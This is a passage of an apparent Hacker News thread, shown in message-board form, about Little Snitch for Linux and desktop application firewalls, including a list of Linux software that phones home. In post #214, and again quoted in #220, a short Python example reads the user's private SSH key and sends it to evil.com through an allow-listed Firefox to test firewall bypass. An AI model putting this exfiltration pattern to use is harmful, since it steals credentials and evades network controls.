Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

LittleSnitch for Linux

obdev.at

Post reply on HN
Print view View original

211–220 of 489 posts

Re: LittleSnitch for Linux

#211

Post by classic959 »

brandon272 wrote: post #32
alhazrod wrote: post #6

I remember before Little Snitch there was ZoneAlarm for Windows[0] (here is a good screenshot[1]). No clue if the current version of ZoneAlarm does anything like that (have not used it in 2 decades). I always found it weird that Linux never really had anything like it. [0]: https://en.wikipedia.org/wiki/ZoneAlarm [1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-content/upl...

Completely forgot about ZoneAlarm. I remember using it in the early 2000s!

I helped administer the CheckPoint commercial version of this before 2010 in a large enterprise (Checkpoint Integrity it was badged as). Really good product though we did have some bugs with it - I do remember the developers from Israel got involved and were very capable.

It mostly worked exactly as you would want a desktop firewall to, and integrated nicely with Cisco VPN tech, so you could ensure Integrity was operating correctly before fully opening up the tunnel for access to corporate assets.

Re: LittleSnitch for Linux

#214

Post by mixedbit »

I'm not a Little Snitch or Open Snitch user, I wonder if these firewalls are able to block requests done with the use of some other, allow-listed program.

Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:

   key = (Path.home() / '.ssh' / 'id_rsa').read_text()
   subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
will this request be blocked?

Re: LittleSnitch for Linux

#215

Post by notThrowingAway »

cromka wrote: post #167

I know it sounds crazy at this point, but with popular YouTubers switching to Linux, gamers overall well-aware of Steam on Linux advantages and switching as well, plus popular software like LittleSnitch getting ported, 2026 can without irony be named as Year of Linux Desktop, right?

The year of the Linux Desktop will always be $CURRENT_YEAR + 1

Re: LittleSnitch for Linux

#216

Post by Latty »

aucisson_masque wrote: post #210
Latty wrote: post #206

Earlier quoted context omitted.

Yeah, because no third party program has ever crashed on any other OS. Come on, this is an absurd comment. Linux has its issues, this is not a serious example of what is keeping normal people from using Linux as a desktop OS. Normal people are not installing the first release of a privacy networking tool that requires you to OK connections.

[flagged]

That's not the user experience though, the user experience is it says "go to the discover app and install " and they do that and it just works. Downloading a tarball is not the normal way to install stuff on Linux, and given everyone has phones where the standard is "install on the app store", it's hardly some new experience, in fact, it's more natural for normal users.

Re: LittleSnitch for Linux

#217

Post by m132 »

fsflover wrote: post #176
justsid wrote: post #173

Earlier quoted context omitted.

This is such a naive view on computer security. It’s not just about spyware, which is also not exclusive to commercial vendors.

What else is this about? Debian repositories still contain no malware and if you install software exclusively from them, you'll be safe.

Run OpenSnitch for a while and you'll quickly realize how much of your system does phone home. Off the top of my head:

- GNOME Shell (extension updates without a way to disable this, weather),

- GNOME Calculator (currency exchange rates),

- NetworkManager (periodic hotspot portal checks in most configurations),

- GDB (debuginfod enabled by default),

- Firefox (extension updates, push notifications, feature flags, telemetry, ..., some parts cannot be disabled),

- VSCodium (Open VSX callbacks even when installing extensions from disk with updates disabled, JSON schema auto-downloads, extensions making their own unsolicited requests, ...),

- Electron (dictionary updates from Google servers, no way of disabling; includes any application running on top of upstream Electron, such as Signal, Discord, etc.),

- GoldenDict (audio samples fetched from the Internet on word look-up, no way to disable)

Of course, this is nothing compared to Windows [0] and macOS [1], but the malpractice of making Internet connections without asking, by default, has unfortunately been finding its way everywhere since modems stopped making audible sounds.

Having read about PRISM and seen the leaked dashboards of Paragon Graphite (said to be used by ICE), and with LLMs bridging the gap between mass and targeted surveillance, I don't want any of this.

[0] https://github.com/microsoft/calculator/blob/ffd0519676019a0...

[1] https://sneak.berlin/20201112/your-computer-isnt-yours/

Re: LittleSnitch for Linux

#218

Post by aqme28 »

dainank wrote: post #175
cromka wrote: post #167

I know it sounds crazy at this point, but with popular YouTubers switching to Linux, gamers overall well-aware of Steam on Linux advantages and switching as well, plus popular software like LittleSnitch getting ported, 2026 can without irony be named as Year of Linux Desktop, right?

I think there is a lot of talk (and this is good), but very little action. Market share is still incredibly low for LNX. I believe only a small subset of people actually attempt the jump from WIN to LNX (since most just want to play their games and run their programs without hassle) and then quickly realize that its tougher than they anticipated and swiftly return to WIN.

As someone who did make the jump, it was actually a lot easier than I anticipated. I encourage others to do the same. The only games I can't play are some AAA multiplayer games I wasn't particularly interested in anyways.

Re: LittleSnitch for Linux

#220

Post by zamadatix »

mixedbit wrote: post #214

I'm not a Little Snitch or Open Snitch user, I wonder if these firewalls are able to block requests done with the use of some other, allow-listed program. Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like: key = (Path.home() / '.ssh' / 'id_rsa').read_text() subprocess.Popen([…

With the literal rules described it would not be blocked. A more detailed rule (in Open Snitch at least, not as familiar with the other variants) could match e.g. whether the process's parent tree contained the python binary rather than just if python is the process binding the socket.
Post reply on HN